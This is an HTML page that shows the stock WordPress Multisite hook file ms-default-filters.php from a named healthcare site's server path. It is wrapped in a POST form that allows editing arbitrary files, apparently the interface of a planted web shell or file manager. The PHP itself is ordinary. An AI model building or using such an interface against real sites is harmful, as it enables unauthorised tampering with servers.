<h2>File Contents: /home/planet5/www/yanhuanghealthcare.co.uk/wp-includes/ms-default-filters.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/yanhuanghealthcare.co.uk/wp-includes/ms-default-filters.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Sets up the default filters and actions for Multisite.
 *
 * If you need to remove a default hook, this file will give you the priority
 * for which to use to remove the hook.
 *
 * Not all of the Multisite default hooks are found in ms-default-filters.php
 *
 * @package WordPress
 * @subpackage Multisite
 * @see default-filters.php
 * @since 3.0.0
 */

add_action( &#039;init&#039;, &#039;ms_subdomain_constants&#039; );

// Functions.
add_action( &#039;update_option_blog_public&#039;, &#039;update_blog_public&#039;, 10, 2 );
add_filter( &#039;option_users_can_register&#039;, &#039;users_can_register_signup_filter&#039; );
add_filter( &#039;site_option_welcome_user_email&#039;, &#039;welcome_user_msg_filter&#039; );

// Users.
add_filter( &#039;wpmu_validate_user_signup&#039;, &#039;signup_nonce_check&#039; );
add_action( &#039;init&#039;, &#039;maybe_add_existing_user_to_blog&#039; );
add_action( &#039;wpmu_new_user&#039;, &#039;newuser_notify_siteadmin&#039; );
add_action( &#039;wpmu_activate_user&#039;, &#039;add_new_user_to_blog&#039;, 10, 3 );
add_action( &#039;wpmu_activate_user&#039;, &#039;wpmu_welcome_user_notification&#039;, 10, 3 );
add_action( &#039;after_signup_user&#039;, &#039;wpmu_signup_user_notification&#039;, 10, 4 );
add_action( &#039;network_site_new_created_user&#039;, &#039;wp_send_new_user_notifications&#039; );
add_action( &#039;network_site_users_created_user&#039;, &#039;wp_send_new_user_notifications&#039; );
add_action( &#039;network_user_new_created_user&#039;, &#039;wp_send_new_user_notifications&#039; );
add_filter( &#039;sanitize_user&#039;, &#039;strtolower&#039; );
add_action( &#039;deleted_user&#039;, &#039;wp_delete_signup_on_user_delete&#039;, 10, 3 );

// Roles.
add_action( &#039;switch_blog&#039;, &#039;wp_switch_roles_and_user&#039;, 1, 2 );

// Blogs.
add_filter( &#039;wpmu_validate_blog_signup&#039;, &#039;signup_nonce_check&#039; );
add_action( &#039;wpmu_activate_blog&#039;, &#039;wpmu_welcome_notification&#039;, 10, 5 );
add_action( &#039;after_signup_site&#039;, &#039;wpmu_signup_blog_notification&#039;, 10, 7 );
add_filter( &#039;wp_normalize_site_data&#039;, &#039;wp_normalize_site_data&#039;, 10, 1 );
add_action( &#039;wp_validate_site_data&#039;, &#039;wp_validate_site_data&#039;, 10, 3 );
add_action( &#039;wp_insert_site&#039;, &#039;wp_maybe_update_network_site_counts_on_update&#039;, 10, 1 );
add_action( &#039;wp_update_site&#039;, &#039;wp_maybe_update_network_site_counts_on_update&#039;, 10, 2 );
add_action( &#039;wp_delete_site&#039;, &#039;wp_maybe_update_network_site_counts_on_update&#039;, 10, 1 );
add_action( &#039;wp_insert_site&#039;, &#039;wp_maybe_transition_site_statuses_on_update&#039;, 10, 1 );
add_action( &#039;wp_update_site&#039;, &#039;wp_maybe_transition_site_statuses_on_update&#039;, 10, 2 );
add_action( &#039;wp_update_site&#039;, &#039;wp_maybe_clean_new_site_cache_on_update&#039;, 10, 2 );
add_action( &#039;wp_initialize_site&#039;, &#039;wp_initialize_site&#039;, 10, 2 );
add_action( &#039;wp_initialize_site&#039;, &#039;wpmu_log_new_registrations&#039;, 100, 2 );
add_action( &#039;wp_initialize_site&#039;, &#039;newblog_notify_siteadmin&#039;, 100, 1 );
add_action( &#039;wp_uninitialize_site&#039;, &#039;wp_uninitialize_site&#039;, 10, 1 );
add_action( &#039;update_blog_public&#039;, &#039;wp_update_blog_public_option_on_site_update&#039;, 1, 2 );

// Site meta.
add_action( &#039;added_blog_meta&#039;, &#039;wp_cache_set_sites_last_changed&#039; );
add_action( &#039;updated_blog_meta&#039;, &#039;wp_cache_set_sites_last_changed&#039; );
add_action( &#039;deleted_blog_meta&#039;, &#039;wp_cache_set_sites_last_changed&#039; );
add_filter( &#039;get_blog_metadata&#039;, &#039;wp_check_site_meta_support_prefilter&#039; );
add_filter( &#039;add_blog_metadata&#039;, &#039;wp_check_site_meta_support_prefilter&#039; );
add_filter( &#039;update_blog_metadata&#039;, &#039;wp_check_site_meta_support_prefilter&#039; );
add_filter( &#039;delete_blog_metadata&#039;, &#039;wp_check_site_meta_support_prefilter&#039; );
add_filter( &#039;get_blog_metadata_by_mid&#039;, &#039;wp_check_site_meta_support_prefilter&#039; );
add_filter( &#039;update_blog_metadata_by_mid&#039;, &#039;wp_check_site_meta_support_prefilter&#039; );
add_filter( &#039;delete_blog_metadata_by_mid&#039;, &#039;wp_check_site_meta_support_prefilter&#039; );
add_filter( &#039;update_blog_metadata_cache&#039;, &#039;wp_check_site_meta_support_prefilter&#039; );

// Register nonce.
add_action( &#039;signup_hidden_fields&#039;, &#039;signup_nonce_fields&#039; );

// Template.
add_action( &#039;template_redirect&#039;, &#039;maybe_redirect_404&#039; );
add_filter( &#039;allowed_redirect_hosts&#039;, &#039;redirect_this_site&#039; );

// Administration.
add_action( &#039;after_delete_post&#039;, &#039;_update_posts_count_on_delete&#039;, 10, 2 );
add_action( &#039;delete_post&#039;, &#039;_update_blog_date_on_post_delete&#039; );
add_action( &#039;transition_post_status&#039;, &#039;_update_blog_date_on_post_publish&#039;, 10, 3 );
add_action( &#039;transition_post_status&#039;, &#039;_update_posts_count_on_transition_post_status&#039;, 10, 3 );

// Counts.
add_action( &#039;admin_init&#039;, &#039;wp_schedule_update_network_counts&#039; );
add_action( &#039;update_network_counts&#039;, &#039;wp_update_network_counts&#039;, 10, 0 );
foreach ( array( &#039;wpmu_new_user&#039;, &#039;make_spam_user&#039;, &#039;make_ham_user&#039; ) as $action ) {
	add_action( $action, &#039;wp_maybe_update_network_user_counts&#039;, 10, 0 );
}

// These counts are handled by wp_update_network_counts() on Multisite:
remove_action( &#039;admin_init&#039;, &#039;wp_schedule_update_user_counts&#039; );
remove_action( &#039;wp_update_user_counts&#039;, &#039;wp_schedule_update_user_counts&#039; );

foreach ( array( &#039;make_spam_blog&#039;, &#039;make_ham_blog&#039;, &#039;archive_blog&#039;, &#039;unarchive_blog&#039;, &#039;make_delete_blog&#039;, &#039;make_undelete_blog&#039; ) as $action ) {
	add_action( $action, &#039;wp_maybe_update_network_site_counts&#039;, 10, 0 );
}
unset( $action );

// Files.
add_filter( &#039;wp_upload_bits&#039;, &#039;upload_is_file_too_big&#039; );
add_filter( &#039;import_upload_size_limit&#039;, &#039;fix_import_form_size&#039; );
add_filter( &#039;upload_mimes&#039;, &#039;check_upload_mimes&#039; );
add_filter( &#039;upload_size_limit&#039;, &#039;upload_size_limit_filter&#039; );
add_action( &#039;upload_ui_over_quota&#039;, &#039;multisite_over_quota_message&#039; );

// Mail.
add_action( &#039;phpmailer_init&#039;, &#039;fix_phpmailer_messageid&#039; );

// Disable somethings by default for multisite.
add_filter( &#039;enable_update_services_configuration&#039;, &#039;__return_false&#039; );
if ( ! defined( &#039;POST_BY_EMAIL&#039; ) || ! POST_BY_EMAIL ) { // Back compat constant.
	add_filter( &#039;enable_post_by_email_configuration&#039;, &#039;__return_false&#039; );
}
if ( ! defined( &#039;EDIT_ANY_USER&#039; ) || ! EDIT_ANY_USER ) { // Back compat constant.
	add_filter( &#039;enable_edit_any_user_configuration&#039;, &#039;__return_false&#039; );
}
add_filter( &#039;force_filtered_html_on_import&#039;, &#039;__return_true&#039; );

// WP_HOME and WP_SITEURL should not have any effect in MS.
remove_filter( &#039;option_siteurl&#039;, &#039;_config_wp_siteurl&#039; );
remove_filter( &#039;option_home&#039;, &#039;_config_wp_home&#039; );

// Some options changes should trigger site details refresh.
add_action( &#039;update_option_blogname&#039;, &#039;clean_site_details_cache&#039;, 10, 0 );
add_action( &#039;update_option_siteurl&#039;, &#039;clean_site_details_cache&#039;, 10, 0 );
add_action( &#039;update_option_post_count&#039;, &#039;clean_site_details_cache&#039;, 10, 0 );
add_action( &#039;update_option_home&#039;, &#039;clean_site_details_cache&#039;, 10, 0 );

// If the network upgrade hasn&#039;t run yet, assume ms-files.php rewriting is used.
add_filter( &#039;default_site_option_ms_files_rewriting&#039;, &#039;__return_true&#039; );

// Allow multisite domains for HTTP requests.
add_filter( &#039;http_request_host_is_external&#039;, &#039;ms_allowed_http_request_hosts&#039;, 20, 2 );
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